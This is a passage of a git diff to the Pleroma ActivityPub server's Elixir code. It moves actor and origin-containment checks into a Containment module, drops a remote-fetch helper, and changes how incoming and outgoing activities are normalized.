	\|> fix_addressing_list("cc")
	\|> fix_addressing_list("bto")
	\|> fix_addressing_list("bcc")
	\|> fix_explicit_addressing
	\|> fix_implicit_addressing(followers_collection)
	end

	def fix_actor(%{"attributedTo" => actor} = object) do
	object
	- \|> Map.put("actor", get_actor(%{"actor" => actor}))
	+ \|> Map.put("actor", Containment.get_actor(%{"actor" => actor}))
	end

	# Check for standardisation
	# This is what Peertube does
	# curl -H 'Accept: application/activity+json' $likes \| jq .totalItems
	# Prismo returns only an integer (count) as "likes"
	def fix_likes(%{"likes" => likes} = object) when not is_map(likes) do
	object
	\|> Map.put("likes", [])
	\|> Map.put("like_count", 0)
	end

	def fix_likes(object) do
	object
	end

	def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object)
	when not is_nil(in_reply_to) do
	in_reply_to_id =
	cond do
	is_bitstring(in_reply_to) ->
	in_reply_to

	is_map(in_reply_to) && is_bitstring(in_reply_to["id"]) ->
	in_reply_to["id"]

	is_list(in_reply_to) && is_bitstring(Enum.at(in_reply_to, 0)) ->
	Enum.at(in_reply_to, 0)

	# Maybe I should output an error too?
	true ->
	""
	end

	- case fetch_obj_helper(in_reply_to_id) do
	+ case get_obj_helper(in_reply_to_id) do
	{:ok, replied_object} ->
	with %Activity{} = _activity <-
	Activity.get_create_by_object_ap_id(replied_object.data["id"]) do
	object
	\|> Map.put("inReplyTo", replied_object.data["id"])
	\|> Map.put("inReplyToAtomUri", object["inReplyToAtomUri"] \|\| in_reply_to_id)
	\|> Map.put("conversation", replied_object.data["context"] \|\| object["conversation"])
	\|> Map.put("context", replied_object.data["context"] \|\| object["conversation"])
	else
	e ->
	Logger.error("Couldn't fetch \"#{inspect(in_reply_to_id)}\", error: #{inspect(e)}")
	object
	end

	e ->
	Logger.error("Couldn't fetch \"#{inspect(in_reply_to_id)}\", error: #{inspect(e)}")
	object
	end
	end

	def fix_in_reply_to(object), do: object

	def fix_context(object) do
	context = object["context"] \|\| object["conversation"] \|\| Utils.generate_context_id()

	object
	\|> Map.put("context", context)
	\|> Map.put("conversation", context)
	end

	def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachment) do
	attachments =
	attachment
	\|> Enum.map(fn data ->
	media_type = data["mediaType"] \|\| data["mimeType"]
	href = data["url"] \|\| data["href"]

	url = [%{"type" => "Link", "mediaType" => media_type, "href" => href}]

	data
	\|> Map.put("mediaType", media_type)
	\|> Map.put("url", url)
	end)

	object
	\|> Map.put("attachment", attachments)
	end

	def fix_attachments(%{"attachment" => attachment} = object) when is_map(attachment) do
	Map.put(object, "attachment", [attachment])
	\|> fix_attachments()
	end

	def fix_attachments(object), do: object

	def fix_url(%{"url" => url} = object) when is_map(url) do
	object
	\|> Map.put("url", url["href"])
	end

	def fix_url(%{"type" => "Video", "url" => url} = object) when is_list(url) do
	first_element = Enum.at(url, 0)

	link_element =
	url
	\|> Enum.filter(fn x -> is_map(x) end)
	\|> Enum.filter(fn x -> x["mimeType"] == "text/html" end)
	\|> Enum.at(0)

	object
	\|> Map.put("attachment", [first_element])
	\|> Map.put("url", link_element["href"])
	end

	def fix_url(%{"type" => object_type, "url" => url} = object)
	when object_type != "Video" and is_list(url) do
	first_element = Enum.at(url, 0)

	url_string =
	cond do
	is_bitstring(first_element) -> first_element
	is_map(first_element) -> first_element["href"] \|\| ""
	true -> ""
	end

	object
	\|> Map.put("url", url_string)
	end

	def fix_url(object), do: object

	def fix_emoji(%{"tag" => tags} = object) when is_list(tags) do
	emoji = tags \|> Enum.filter(fn data -> data["type"] == "Emoji" and data["icon"] end)

	emoji =
	emoji
	\|> Enum.reduce(%{}, fn data, mapping ->
	name = String.trim(data["name"], ":")

	mapping \|> Map.put(name, data["icon"]["url"])
	end)

	# we merge mastodon and pleroma emoji into a single mapping, to allow for both wire formats
	emoji = Map.merge(object["emoji"] \|\| %{}, emoji)

	object
	\|> Map.put("emoji", emoji)
	end

	def fix_emoji(%{"tag" => %{"type" => "Emoji"} = tag} = object) do
	name = String.trim(tag["name"], ":")
	emoji = %{name => tag["icon"]["url"]}

	object
	\|> Map.put("emoji", emoji)
	end

	def fix_emoji(object), do: object

	def fix_tag(%{"tag" => tag} = object) when is_list(tag) do
	tags =
	tag
	\|> Enum.filter(fn data -> data["type"] == "Hashtag" and data["name"] end)
	\|> Enum.map(fn data -> String.slice(data["name"], 1..-1) end)

	combined = tag ++ tags

	object
	\|> Map.put("tag", combined)
	end

	def fix_tag(%{"tag" => %{"type" => "Hashtag", "name" => hashtag} = tag} = object) do
	combined = [tag, String.slice(hashtag, 1..-1)]

	object
	\|> Map.put("tag", combined)
	end

	def fix_tag(%{"tag" => %{} = tag} = object), do: Map.put(object, "tag", [tag])

	def fix_tag(object), do: object

	# content map usually only has one language so this will do for now.
	def fix_content_map(%{"contentMap" => content_map} = object) do
	content_groups = Map.to_list(content_map)
	{_, content} = Enum.at(content_groups, 0)

	object
	\|> Map.put("content", content)
	end

	def fix_content_map(object), do: object

	defp mastodon_follow_hack(%{"id" => id, "actor" => follower_id}, followed) do
	with true <- id =~ "follows",
	%User{local: true} = follower <- User.get_cached_by_ap_id(follower_id),
	%Activity{} = activity <- Utils.fetch_latest_follow(follower, followed) do
	{:ok, activity}
	else
	_ -> {:error, nil}
	end
	end

	defp mastodon_follow_hack(_, _), do: {:error, nil}

	defp get_follow_activity(follow_object, followed) do
	with object_id when not is_nil(object_id) <- Utils.get_ap_id(follow_object),
	{_, %Activity{} = activity} <- {:activity, Activity.get_by_ap_id(object_id)} do
	{:ok, activity}
	else
	# Can't find the activity. This might a Mastodon 2.3 "Accept"
	{:activity, nil} ->
	mastodon_follow_hack(follow_object, followed)

	_ ->
	{:error, nil}
	end
	end

	# Flag objects are placed ahead of the ID check because Mastodon 2.8 and earlier send them
	# with nil ID.
	def handle_incoming(%{"type" => "Flag", "object" => objects, "actor" => actor} = data) do
	with context <- data["context"] \|\| Utils.generate_context_id(),
	content <- data["content"] \|\| "",
	%User{} = actor <- User.get_cached_by_ap_id(actor),

	# Reduce the object list to find the reported user.
	%User{} = account <-
	Enum.reduce_while(objects, nil, fn ap_id, _ ->
	with %User{} = user <- User.get_cached_by_ap_id(ap_id) do
	{:halt, user}
	else
	_ -> {:cont, nil}
	end
	end),

	# Remove the reported user from the object list.
	statuses <- Enum.filter(objects, fn ap_id -> ap_id != account.ap_id end) do
	params = %{
	actor: actor,
	context: context,
	account: account,
	statuses: statuses,
	content: content,
	additional: %{
	"cc" => [account.ap_id]
	}
	}

	ActivityPub.flag(params)
	end
	end

	# disallow objects with bogus IDs
	def handle_incoming(%{"id" => nil}), do: :error
	def handle_incoming(%{"id" => ""}), do: :error
	# length of https:// = 8, should validate better, but good enough for now.
	def handle_incoming(%{"id" => id}) when not (is_binary(id) and length(id) > 8), do: :error

	# TODO: validate those with a Ecto scheme
	# - tags
	# - emoji
	def handle_incoming(%{"type" => "Create", "object" => %{"type" => objtype} = object} = data)
	when objtype in ["Article", "Note", "Video", "Page"] do
	- actor = get_actor(data)
	+ actor = Containment.get_actor(data)

	data =
	Map.put(data, "actor", actor)
	\|> fix_addressing

	with nil <- Activity.get_create_by_object_ap_id(object["id"]),
	%User{} = user <- User.get_or_fetch_by_ap_id(data["actor"]) do
	object = fix_object(data["object"])

	params = %{
	to: data["to"],
	object: object,
	actor: user,
	context: object["conversation"],
	local: false,
	published: data["published"],
	additional:
	Map.take(data, [
	"cc",
	"directMessage",
	"id"
	])
	}

	ActivityPub.create(params)
	else
	%Activity{} = activity -> {:ok, activity}
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Follow", "object" => followed, "actor" => follower, "id" => id} = data
	) do
	with %User{local: true} = followed <- User.get_cached_by_ap_id(followed),
	%User{} = follower <- User.get_or_fetch_by_ap_id(follower),
	{:ok, activity} <- ActivityPub.follow(follower, followed, id, false) do
	if not User.locked?(followed) do
	ActivityPub.accept(%{
	to: [follower.ap_id],
	actor: followed,
	object: data,
	local: true
	})

	User.follow(follower, followed)
	end

	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Accept", "object" => follow_object, "actor" => _actor, "id" => _id} = data
	) do
	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = followed <- User.get_or_fetch_by_ap_id(actor),
	{:ok, follow_activity} <- get_follow_activity(follow_object, followed),
	{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "accept"),
	%User{local: true} = follower <- User.get_cached_by_ap_id(follow_activity.data["actor"]),
	{:ok, activity} <-
	ActivityPub.accept(%{
	to: follow_activity.data["to"],
	type: "Accept",
	actor: followed,
	object: follow_activity.data["id"],
	local: false
	}) do
	if not User.following?(follower, followed) do
	{:ok, _follower} = User.follow(follower, followed)
	end

	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Reject", "object" => follow_object, "actor" => _actor, "id" => _id} = data
	) do
	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = followed <- User.get_or_fetch_by_ap_id(actor),
	{:ok, follow_activity} <- get_follow_activity(follow_object, followed),
	{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "reject"),
	%User{local: true} = follower <- User.get_cached_by_ap_id(follow_activity.data["actor"]),
	{:ok, activity} <-
	ActivityPub.reject(%{
	to: follow_activity.data["to"],
	type: "Reject",
	actor: followed,
	object: follow_activity.data["id"],
	local: false
	}) do
	User.unfollow(follower, followed)

	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Like", "object" => object_id, "actor" => _actor, "id" => id} = data
	) do
	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = actor <- User.get_or_fetch_by_ap_id(actor),
	- {:ok, object} <- get_obj_helper(object_id) \|\| fetch_obj_helper(object_id),
	+ {:ok, object} <- get_obj_helper(object_id),
	{:ok, activity, _object} <- ActivityPub.like(actor, object, id, false) do
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Announce", "object" => object_id, "actor" => _actor, "id" => id} = data
	) do
	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = actor <- User.get_or_fetch_by_ap_id(actor),
	- {:ok, object} <- get_obj_helper(object_id) \|\| fetch_obj_helper(object_id),
	+ {:ok, object} <- get_obj_helper(object_id),
	public <- Visibility.is_public?(data),
	{:ok, activity, _object} <- ActivityPub.announce(actor, object, id, false, public) do
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Update", "object" => %{"type" => object_type} = object, "actor" => actor_id} =
	data
	)
	when object_type in ["Person", "Application", "Service", "Organization"] do
	with %User{ap_id: ^actor_id} = actor <- User.get_cached_by_ap_id(object["id"]) do
	{:ok, new_user_data} = ActivityPub.user_data_from_user_object(object)

	banner = new_user_data[:info]["banner"]
	locked = new_user_data[:info]["locked"] \|\| false

	update_data =
	new_user_data
	\|> Map.take([:name, :bio, :avatar])
	\|> Map.put(:info, %{"banner" => banner, "locked" => locked})

	actor
	\|> User.upgrade_changeset(update_data)
	\|> User.update_and_set_cache()

	ActivityPub.update(%{
	local: false,
	to: data["to"] \|\| [],
	cc: data["cc"] \|\| [],
	object: object,
	actor: actor_id
	})
	else
	e ->
	Logger.error(e)
	:error
	end
	end

	# TODO: We presently assume that any actor on the same origin domain as the object being
	# deleted has the rights to delete that object. A better way to validate whether or not
	# the object should be deleted is to refetch the object URI, which should return either
	# an error or a tombstone. This would allow us to verify that a deletion actually took
	# place.
	def handle_incoming(
	%{"type" => "Delete", "object" => object_id, "actor" => _actor, "id" => _id} = data
	) do
	object_id = Utils.get_ap_id(object_id)

	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = actor <- User.get_or_fetch_by_ap_id(actor),
	- {:ok, object} <- get_obj_helper(object_id) \|\| fetch_obj_helper(object_id),
	- :ok <- contain_origin(actor.ap_id, object.data),
	+ {:ok, object} <- get_obj_helper(object_id),
	+ :ok <- Containment.contain_origin(actor.ap_id, object.data),
	{:ok, activity} <- ActivityPub.delete(object, false) do
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{
	"type" => "Undo",
	"object" => %{"type" => "Announce", "object" => object_id},
	"actor" => _actor,
	"id" => id
	} = data
	) do
	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = actor <- User.get_or_fetch_by_ap_id(actor),
	- {:ok, object} <- get_obj_helper(object_id) \|\| fetch_obj_helper(object_id),
	+ {:ok, object} <- get_obj_helper(object_id),
	{:ok, activity, _} <- ActivityPub.unannounce(actor, object, id, false) do
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{
	"type" => "Undo",
	"object" => %{"type" => "Follow", "object" => followed},
	"actor" => follower,
	"id" => id
	} = _data
	) do
	with %User{local: true} = followed <- User.get_cached_by_ap_id(followed),
	%User{} = follower <- User.get_or_fetch_by_ap_id(follower),
	{:ok, activity} <- ActivityPub.unfollow(follower, followed, id, false) do
	User.unfollow(follower, followed)
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{
	"type" => "Undo",
	"object" => %{"type" => "Block", "object" => blocked},
	"actor" => blocker,
	"id" => id
	} = _data
	) do
	with true <- Pleroma.Config.get([:activitypub, :accept_blocks]),
	%User{local: true} = blocked <- User.get_cached_by_ap_id(blocked),
	%User{} = blocker <- User.get_or_fetch_by_ap_id(blocker),
	{:ok, activity} <- ActivityPub.unblock(blocker, blocked, id, false) do
	User.unblock(blocker, blocked)
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{"type" => "Block", "object" => blocked, "actor" => blocker, "id" => id} = _data
	) do
	with true <- Pleroma.Config.get([:activitypub, :accept_blocks]),
	%User{local: true} = blocked = User.get_cached_by_ap_id(blocked),
	%User{} = blocker = User.get_or_fetch_by_ap_id(blocker),
	{:ok, activity} <- ActivityPub.block(blocker, blocked, id, false) do
	User.unfollow(blocker, blocked)
	User.block(blocker, blocked)
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(
	%{
	"type" => "Undo",
	"object" => %{"type" => "Like", "object" => object_id},
	"actor" => _actor,
	"id" => id
	} = data
	) do
	- with actor <- get_actor(data),
	+ with actor <- Containment.get_actor(data),
	%User{} = actor <- User.get_or_fetch_by_ap_id(actor),
	- {:ok, object} <- get_obj_helper(object_id) \|\| fetch_obj_helper(object_id),
	+ {:ok, object} <- get_obj_helper(object_id),
	{:ok, activity, _, _} <- ActivityPub.unlike(actor, object, id, false) do
	{:ok, activity}
	else
	_e -> :error
	end
	end

	def handle_incoming(_), do: :error

	- def fetch_obj_helper(id) when is_bitstring(id), do: ActivityPub.fetch_object_from_id(id)
	- def fetch_obj_helper(obj) when is_map(obj), do: ActivityPub.fetch_object_from_id(obj["id"])
	-
	def get_obj_helper(id) do
	if object = Object.normalize(id), do: {:ok, object}, else: nil
	end

	def set_reply_to_uri(%{"inReplyTo" => in_reply_to} = object) when is_binary(in_reply_to) do
	with false <- String.starts_with?(in_reply_to, "http"),
	{:ok, %{data: replied_to_object}} <- get_obj_helper(in_reply_to) do
	Map.put(object, "inReplyTo", replied_to_object["external_url"] \|\| in_reply_to)
	else
	_e -> object
	end
	end

	def set_reply_to_uri(obj), do: obj

	# Prepares the object of an outgoing create activity.
	def prepare_object(object) do
	object
	\|> set_sensitive
	\|> add_hashtags
	\|> add_mention_tags
	\|> add_emoji_tags
	\|> add_attributed_to
	\|> add_likes
	\|> prepare_attachments
	\|> set_conversation
	\|> set_reply_to_uri
	\|> strip_internal_fields
	\|> strip_internal_tags
	end

	# @doc
	# """
	# internal -> Mastodon
	# """

	- def prepare_outgoing(%{"type" => "Create", "object" => object} = data) do
	+ def prepare_outgoing(%{"type" => "Create", "object" => object_id} = data) do
	object =
	- object
	+ Object.normalize(object_id).data
	\|> prepare_object

	data =
	data
	\|> Map.put("object", object)
	\|> Map.merge(Utils.make_json_ld_header())

	{:ok, data}
	end

	# Mastodon Accept/Reject requires a non-normalized object containing the actor URIs,
	# because of course it does.
	def prepare_outgoing(%{"type" => "Accept"} = data) do
	with follow_activity <- Activity.normalize(data["object"]) do
	object = %{
	"actor" => follow_activity.actor,
	"object" => follow_activity.data["object"],
	"id" => follow_activity.data["id"],
	"type" => "Follow"
	}

	data =
	data
	\|> Map.put("object", object)
	\|> Map.merge(Utils.make_json_ld_header())

	{:ok, data}
	end
	end

	def prepare_outgoing(%{"type" => "Reject"} = data) do
	with follow_activity <- Activity.normalize(data["object"]) do
	object = %{
	"actor" => follow_activity.actor,
	"object" => follow_activity.data["object"],
	"id" => follow_activity.data["id"],
	"type" => "Follow"
	}

	data =
	data
	\|> Map.put("object", object)
	\|> Map.merge(Utils.make_json_ld_header())

	{:ok, data}
	end
	end

	def prepare_outgoing(%{"type" => _type} = data) do
	data =
	data
	\|> strip_internal_fields
	\|> maybe_fix_object_url
	\|> Map.merge(Utils.make_json_ld_header())

	{:ok, data}
	end

	def maybe_fix_object_url(data) do
	if is_binary(data["object"]) and not String.starts_with?(data["object"], "http") do
	- case fetch_obj_helper(data["object"]) do
	+ case get_obj_helper(data["object"]) do
	{:ok, relative_object} ->
	if relative_object.data["external_url"] do
	_data =
	data
	\|> Map.put("object", relative_object.data["external_url"])
	else
	data
	end

	e ->
	Logger.error("Couldn't fetch #{data["object"]} #{inspect(e)}")
	data
	end
	else
	data
	end
	end

	def add_hashtags(object) do
	tags =
	(object["tag"] \|\| [])
	\|> Enum.map(fn
	# Expand internal representation tags into AS2 tags.
	tag when is_binary(tag) ->
	%{
	"href" => Pleroma.Web.Endpoint.url() <> "/tags/#{tag}",
	"name" => "##{tag}",
	"type" => "Hashtag"
	}

	# Do not process tags which are already AS2 tag objects.
	tag when is_map(tag) ->
	tag
	end)

	object
	\|> Map.put("tag", tags)
	end

	def add_mention_tags(object) do
	mentions =
	object
	\|> Utils.get_notified_from_object()
	\|> Enum.map(fn user ->
	%{"type" => "Mention", "href" => user.ap_id, "name" => "@#{user.nickname}"}
	end)

	tags = object["tag"] \|\| []

	object
	\|> Map.put("tag", tags ++ mentions)
	end

	# TODO: we should probably send mtime instead of unix epoch time for updated
	def add_emoji_tags(object) do
	tags = object["tag"] \|\| []
	emoji = object["emoji"] \|\| []

	out =
	emoji
	\|> Enum.map(fn {name, url} ->
	%{
	"icon" => %{"url" => url, "type" => "Image"},
	"name" => ":" <> name <> ":",
	"type" => "Emoji",
	"updated" => "1970-01-01T00:00:00Z",
	"id" => url
	}
	end)

	object
	\|> Map.put("tag", tags ++ out)
	end

	def set_conversation(object) do
	Map.put(object, "conversation", object["context"])
	end

	def set_sensitive(object) do
	tags = object["tag"] \|\| []
	Map.put(object, "sensitive", "nsfw" in tags)
	end

	def add_attributed_to(object) do
	attributed_to = object["attributedTo"] \|\| object["actor"]

	object
	\|> Map.put("attributedTo", attributed_to)
	end

	def add_likes(%{"id" => id, "like_count" => likes} = object) do
	likes = %{
	"id" => "#{id}/likes",
	"first" => "#{id}/likes?page=1",
	"type" => "OrderedCollection",
	"totalItems" => likes
	}

	object
	\|> Map.put("likes", likes)
	end

	def add_likes(object) do
	object
	end

	def prepare_attachments(object) do
	attachments =
	(object["attachment"] \|\| [])
	\|> Enum.map(fn data ->
	[%{"mediaType" => media_type, "href" => href} \| _] = data["url"]
	%{"url" => href, "mediaType" => media_type, "name" => data["name"], "type" => "Document"}
	end)

	object
	\|> Map.put("attachment", attachments)
	end

	defp strip_internal_fields(object) do
	object
	\|> Map.drop([
	"like_count",
	"announcements",
	"announcement_count",
	"emoji",
	"context_id",
	"deleted_activity_id"
	])
	end

	defp strip_internal_tags(%{"tag" => tags} = object) do
	tags =
	tags
	\|> Enum.filter(fn x -> is_map(x) end)

	object
	\|> Map.put("tag", tags)
	end

	defp strip_internal_tags(object), do: object

	def perform(:user_upgrade, user) do
	# we pass a fake user so that the followers collection is stripped away
	old_follower_address = User.ap_followers(%User{nickname: user.nickname})

	q =
	from(
	u in User,
	where: ^old_follower_address in u.following,
	update: [
	set: [
	following:
	fragment(
	"array_replace(?,?,?)",
	u.following,
	^old_follower_address,
	^user.follower_address
	)
	]
	]
	)

	Repo.update_all(q, [])

	maybe_retire_websub(user.ap_id)

	q =
	from(
	a in Activity,
	where: ^old_follower_address in a.recipients,
	update: [
	set: [
	recipients:
	fragment(
	"array_replace(?,?,?)",
	a.recipients,
	^old_follower_address,
	^user.follower_address
	)
	]
	]
	)

	Repo.update_all(q, [])
	end

	def upgrade_user_from_ap_id(ap_id) do
	with %User{local: false} = user <- User.get_cached_by_ap_id(ap_id),
	{:ok, data} <- ActivityPub.fetch_and_prepare_user_from_ap_id(ap_id),
	already_ap <- User.ap_enabled?(user),
	{:ok, user} <- user \|> User.upgrade_changeset(data) \|> User.update_and_set_cache() do
	unless already_ap do
	PleromaJobQueue.enqueue(:transmogrifier, __MODULE__, [:user_upgrade, user])
	end

	{:ok, user}
	else
	%User{} = user -> {:ok, user}
	e -> e
	end
	end

	def maybe_retire_websub(ap_id) do
	# some sanity checks
	if is_binary(ap_id) && String.length(ap_id) > 8 do
	q =
	from(
	ws in Pleroma.Web.Websub.WebsubClientSubscription,
	where: fragment("? like ?", ws.topic, ^"#{ap_id}%")
	)

	Repo.delete_all(q)
	end
	end

	def maybe_fix_user_url(data) do
	if is_map(data["url"]) do
	Map.put(data, "url", data["url"]["href"])
	else
	data
	end
	end

	def maybe_fix_user_object(data) do
	data
	\|> maybe_fix_user_url
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex
	index ccc9da7c6..581b9d1ab 100644
	--- a/lib/pleroma/web/activity_pub/utils.ex
	+++ b/lib/pleroma/web/activity_pub/utils.ex
	@@ -1,712 +1,716 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Utils do
	alias Ecto.Changeset
	alias Ecto.UUID
	alias Pleroma.Activity
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Endpoint
	alias Pleroma.Web.Router.Helpers

	import Ecto.Query

	require Logger

	@supported_object_types ["Article", "Note", "Video", "Page"]

	# Some implementations send the actor URI as the actor field, others send the entire actor object,
	# so figure out what the actor's URI is based on what we have.
	def get_ap_id(object) do
	case object do
	%{"id" => id} -> id
	id -> id
	end
	end

	def normalize_params(params) do
	Map.put(params, "actor", get_ap_id(params["actor"]))
	end

	def determine_explicit_mentions(%{"tag" => tag} = _object) when is_list(tag) do
	tag
	\|> Enum.filter(fn x -> is_map(x) end)
	\|> Enum.filter(fn x -> x["type"] == "Mention" end)
	\|> Enum.map(fn x -> x["href"] end)
	end

	def determine_explicit_mentions(%{"tag" => tag} = object) when is_map(tag) do
	Map.put(object, "tag", [tag])
	\|> determine_explicit_mentions()
	end

	def determine_explicit_mentions(_), do: []

	defp recipient_in_collection(ap_id, coll) when is_binary(coll), do: ap_id == coll
	defp recipient_in_collection(ap_id, coll) when is_list(coll), do: ap_id in coll
	defp recipient_in_collection(_, _), do: false

	def recipient_in_message(%User{ap_id: ap_id} = recipient, %User{} = actor, params) do
	cond do
	recipient_in_collection(ap_id, params["to"]) ->
	true

	recipient_in_collection(ap_id, params["cc"]) ->
	true

	recipient_in_collection(ap_id, params["bto"]) ->
	true

	recipient_in_collection(ap_id, params["bcc"]) ->
	true

	# if the message is unaddressed at all, then assume it is directly addressed
	# to the recipient
	!params["to"] && !params["cc"] && !params["bto"] && !params["bcc"] ->
	true

	# if the message is sent from somebody the user is following, then assume it
	# is addressed to the recipient
	User.following?(recipient, actor) ->
	true

	true ->
	false
	end
	end

	defp extract_list(target) when is_binary(target), do: [target]
	defp extract_list(lst) when is_list(lst), do: lst
	defp extract_list(_), do: []

	def maybe_splice_recipient(ap_id, params) do
	need_splice =
	!recipient_in_collection(ap_id, params["to"]) &&
	!recipient_in_collection(ap_id, params["cc"])

	cc_list = extract_list(params["cc"])

	if need_splice do
	params
	\|> Map.put("cc", [ap_id \| cc_list])
	else
	params
	end
	end

	def make_json_ld_header do
	%{
	"@context" => [
	"https://www.w3.org/ns/activitystreams",
	"#{Web.base_url()}/schemas/litepub-0.1.jsonld",
	%{
	"@language" => "und"
	}
	]
	}
	end

	def make_date do
	DateTime.utc_now() \|> DateTime.to_iso8601()
	end

	def generate_activity_id do
	generate_id("activities")
	end

	def generate_context_id do
	generate_id("contexts")
	end

	def generate_object_id do
	Helpers.o_status_url(Endpoint, :object, UUID.generate())
	end

	def generate_id(type) do
	"#{Web.base_url()}/#{type}/#{UUID.generate()}"
	end

	def get_notified_from_object(%{"type" => type} = object) when type in @supported_object_types do
	fake_create_activity = %{
	"to" => object["to"],
	"cc" => object["cc"],
	"type" => "Create",
	"object" => object
	}

	Notification.get_notified_from_activity(%Activity{data: fake_create_activity}, false)
	end

	def get_notified_from_object(object) do
	Notification.get_notified_from_activity(%Activity{data: object}, false)
	end

	def create_context(context) do
	context = context \|\| generate_id("contexts")
	changeset = Object.context_mapping(context)

	case Repo.insert(changeset) do
	{:ok, object} ->
	object

	# This should be solved by an upsert, but it seems ecto
	# has problems accessing the constraint inside the jsonb.
	{:error, _} ->
	Object.get_cached_by_ap_id(context)
	end
	end

	@doc """
	Enqueues an activity for federation if it's local
	"""
	def maybe_federate(%Activity{local: true} = activity) do
	priority =
	case activity.data["type"] do
	"Delete" -> 10
	"Create" -> 1
	_ -> 5
	end

	Pleroma.Web.Federator.publish(activity, priority)
	:ok
	end

	def maybe_federate(_), do: :ok

	@doc """
	Adds an id and a published data if they aren't there,
	also adds it to an included object
	"""
	def lazy_put_activity_defaults(map, fake \\ false) do
	map =
	unless fake do
	%{data: %{"id" => context}, id: context_id} = create_context(map["context"])

	map
	\|> Map.put_new_lazy("id", &generate_activity_id/0)
	\|> Map.put_new_lazy("published", &make_date/0)
	\|> Map.put_new("context", context)
	\|> Map.put_new("context_id", context_id)
	else
	map
	\|> Map.put_new("id", "pleroma:fakeid")
	\|> Map.put_new_lazy("published", &make_date/0)
	\|> Map.put_new("context", "pleroma:fakecontext")
	\|> Map.put_new("context_id", -1)
	end

	if is_map(map["object"]) do
	object = lazy_put_object_defaults(map["object"], map, fake)
	%{map \| "object" => object}
	else
	map
	end
	end

	@doc """
	Adds an id and published date if they aren't there.
	"""
	def lazy_put_object_defaults(map, activity \\ %{}, fake)

	def lazy_put_object_defaults(map, activity, true = _fake) do
	map
	\|> Map.put_new_lazy("published", &make_date/0)
	\|> Map.put_new("id", "pleroma:fake_object_id")
	\|> Map.put_new("context", activity["context"])
	\|> Map.put_new("fake", true)
	\|> Map.put_new("context_id", activity["context_id"])
	end

	def lazy_put_object_defaults(map, activity, _fake) do
	map
	\|> Map.put_new_lazy("id", &generate_object_id/0)
	\|> Map.put_new_lazy("published", &make_date/0)
	\|> Map.put_new("context", activity["context"])
	\|> Map.put_new("context_id", activity["context_id"])
	end

	@doc """
	Inserts a full object if it is contained in an activity.
	"""
	- def insert_full_object(%{"object" => %{"type" => type} = object_data})
	+ def insert_full_object(%{"object" => %{"type" => type} = object_data} = map)
	when is_map(object_data) and type in @supported_object_types do
	with {:ok, object} <- Object.create(object_data) do
	- {:ok, object}
	+ map =
	+ map
	+ \|> Map.put("object", object.data["id"])
	+
	+ {:ok, map, object}
	end
	end

	- def insert_full_object(_), do: {:ok, nil}
	+ def insert_full_object(map), do: {:ok, map, nil}

	def update_object_in_activities(%{data: %{"id" => id}} = object) do
	# TODO
	# Update activities that already had this. Could be done in a seperate process.
	# Alternatively, just don't do this and fetch the current object each time. Most
	# could probably be taken from cache.
	relevant_activities = Activity.get_all_create_by_object_ap_id(id)

	Enum.map(relevant_activities, fn activity ->
	new_activity_data = activity.data \|> Map.put("object", object.data)
	changeset = Changeset.change(activity, data: new_activity_data)
	Repo.update(changeset)
	end)
	end

	#### Like-related helpers

	@doc """
	Returns an existing like if a user already liked an object
	"""
	def get_existing_like(actor, %{data: %{"id" => id}}) do
	query =
	from(
	activity in Activity,
	where: fragment("(?)->>'actor' = ?", activity.data, ^actor),
	# this is to use the index
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^id
	),
	where: fragment("(?)->>'type' = 'Like'", activity.data)
	)

	Repo.one(query)
	end

	@doc """
	Returns like activities targeting an object
	"""
	def get_object_likes(%{data: %{"id" => id}}) do
	query =
	from(
	activity in Activity,
	# this is to use the index
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^id
	),
	where: fragment("(?)->>'type' = 'Like'", activity.data)
	)

	Repo.all(query)
	end

	def make_like_data(
	%User{ap_id: ap_id} = actor,
	%{data: %{"actor" => object_actor_id, "id" => id}} = object,
	activity_id
	) do
	object_actor = User.get_cached_by_ap_id(object_actor_id)

	to =
	if Visibility.is_public?(object) do
	[actor.follower_address, object.data["actor"]]
	else
	[object.data["actor"]]
	end

	cc =
	(object.data["to"] ++ (object.data["cc"] \|\| []))
	\|> List.delete(actor.ap_id)
	\|> List.delete(object_actor.follower_address)

	data = %{
	"type" => "Like",
	"actor" => ap_id,
	"object" => id,
	"to" => to,
	"cc" => cc,
	"context" => object.data["context"]
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	def update_element_in_object(property, element, object) do
	with new_data <-
	object.data
	\|> Map.put("#{property}_count", length(element))
	\|> Map.put("#{property}s", element),
